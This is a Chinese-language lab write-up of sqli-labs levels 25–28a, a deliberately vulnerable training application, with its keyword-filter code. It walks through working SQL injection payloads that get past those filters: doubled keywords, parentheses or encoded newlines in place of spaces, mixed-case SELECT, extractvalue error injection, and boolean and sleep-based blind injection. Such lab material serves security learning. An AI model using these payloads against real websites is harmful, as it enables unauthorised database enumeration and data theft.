美文网首页
sqli-labs level25-28a过滤关键字

sqli-labs level25-28a过滤关键字

作者: z1挂东南 | 来源:发表于2019-08-05 11:28 被阅读0次

第二十五关

过滤andor关键字

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}
1.png

因为代码里检测到关键字会把关键字置空,所以可以双写绕过:

or:oorr
and:aandnd
2.png

双写绕过的前提是过滤关键字后置空,如果把and过滤成空格就不能双写绕过了。可以使用||、&&符号绕过,不过使用&要将符号进行url编码为%26,因为&在url中往往后面接参数,web服务器会将&后面的当成另一个参数。


3.png

上面是绕过的一些方法,不过and、or只在检测注入点时用到或者使用extractvalue、updatexml等函数进行报错注入的时候用到,这关可以联合注入,不需要用到过滤的关键字。我错了,information中的or也会被过滤,所以还是要双写绕过的。
数据库名:
?id=1.1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
数据表名:
?id=1.1' aandnd extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e)) --+

第二十五a关

盲注
和25关一样过滤and、or,但是不用闭合了,这关是整数型了。
数据库长度:?id=1 aandnd length((select database()))=8--+
猜数据库名:?id=1 aandnd ascii(substr((select database()),1,1))=115--+

第二十六关

显错注入,过滤空格和注释,过滤andor,单引号闭合。

4.png

在一般情况下,过滤空格有几种解决方法:①使用“+”代替空格。②使用/**/代替空格。③双写空格或者制表符代替。④括号包起来。⑤回车代替空格,%0a。⑥反引号`的使用。
尝试了几种方法,发现括号可以,回车和反引号不行。
数据库:
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x7e))||1='1

5.png

数据表:
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e))||1='1

第二十六a关

盲注,过滤规则和26关一样,单引号括号闭合。


6.png

猜数据库名:?id=?id=1.1')||ascii(substr(((select(database()))),1,1))=115||2=('1
因为有||而且是盲注,所以要让查询语句前后都为false,才能判断查询语句是否为真。由于没有办法使用limit,所以不能猜数据表长度(也可能我没找到方法,如果有大佬看到这里并且知道方法麻烦告诉我一下),直接猜数据表名,以逗号为分割符。
猜数据表名:
?id=1.1')||ascii(substr(((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()) )),1,1))=101||2=('1

第二十七关:

显错注入,过滤关键字,单引号闭合。


7.png

数据库名:
?id=1'||extractvalue(1,concat(0x7e,mid((sEleCt(group_concat(schema_name))from(information_schema.schemata)),1),0x7e))||1='1
由于显示长度有限,要想查询出所有库名要用mid或者substr函数遍历。
数据表名:
?id=1'||extractvalue(1,concat(0x7e,substr((sEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1),0x7e))||1='1

第二十七a关

过滤关键字和27关一样,盲注,双引号闭合。
数据库长度:?id=1.1"||length((database()))="8
猜数据库名:?id=1.1"||substr( (database()),1,1 )="s
猜数据表:时间盲注,用sleep函数会不停转下去
?id=1.1"||if((substr((seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)="e"),1,sleep(5) )||2="1

第二十八关

过滤关键字,单引号括号闭合。


8.png

\s表示空白字符空格、制表符、换页符等,/i表示忽略大小写。
绕过方式:?id=1.1')union(select%0d1,2,'3

9.png

数据库名:
?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3
数据表名:
?id=1.1')union(select%0d1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) ),'3

第二十八a关
盲注,只过滤了union+select,单引号括号闭合。能使用空格注释的感觉真好。


10.png

数据库长度:?id=1') and length((database()))=8 --+
猜数据库名:?id=1') and substr((select database()),1,1)="s" --+
猜表长度:
?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1) )=6 --+
猜表名:
?id=1') and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e" --+

相关文章

  • sqli-labs level25-28a过滤关键字

    第二十五关 过滤and和or关键字 因为代码里检测到关键字会把关键字置空,所以可以双写绕过: 双写绕过的前提是过滤...

  • 关于grep

    一. grep是行过滤工具;用于根据关键字进行行过滤:就是根据关键字,把包含关键字的行给过滤出来grep用于查找文...

  • real_escape_string(),addslash(),

    最近做sqli-labs的一点发现,有的关卡sqli_real_escape_string( )可以有效过滤输入,...

  • sqli-labs【11-22】

    摘要:本篇是关于sqli-labs第11到第20关的闯关记录 Less-11 post注入,单引号闭合无过滤,有错...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • JavaScript

    正则表达式过滤关键字

  • CTF随笔-RCE入门

    实时上,RCE必然有过滤,下面介绍入门级的bypass 0x04 关键字bypass 纯关键字过滤,如cat、fl...

  • Linux学习笔记(三)

    文本处理工具 grep是行过滤工具,用于根据关键字进行行过滤:grep [选项] '关键字' 文件名。例如:gre...

  • spring data jpa

    1. 过滤数据 ,使用specification-arg-resolver 条件查询2. jpa 关键字 过滤数据...

  • Charles详解

    Charles的过滤四种方法 a.filter的过滤,可以输入关键字来快速筛选出 URL 中带指定关键字的网络请求...

网友评论

      本文标题:sqli-labs level25-28a过滤关键字

      本文链接:https://www.haomeiwen.com/subject/qtmpdctx.html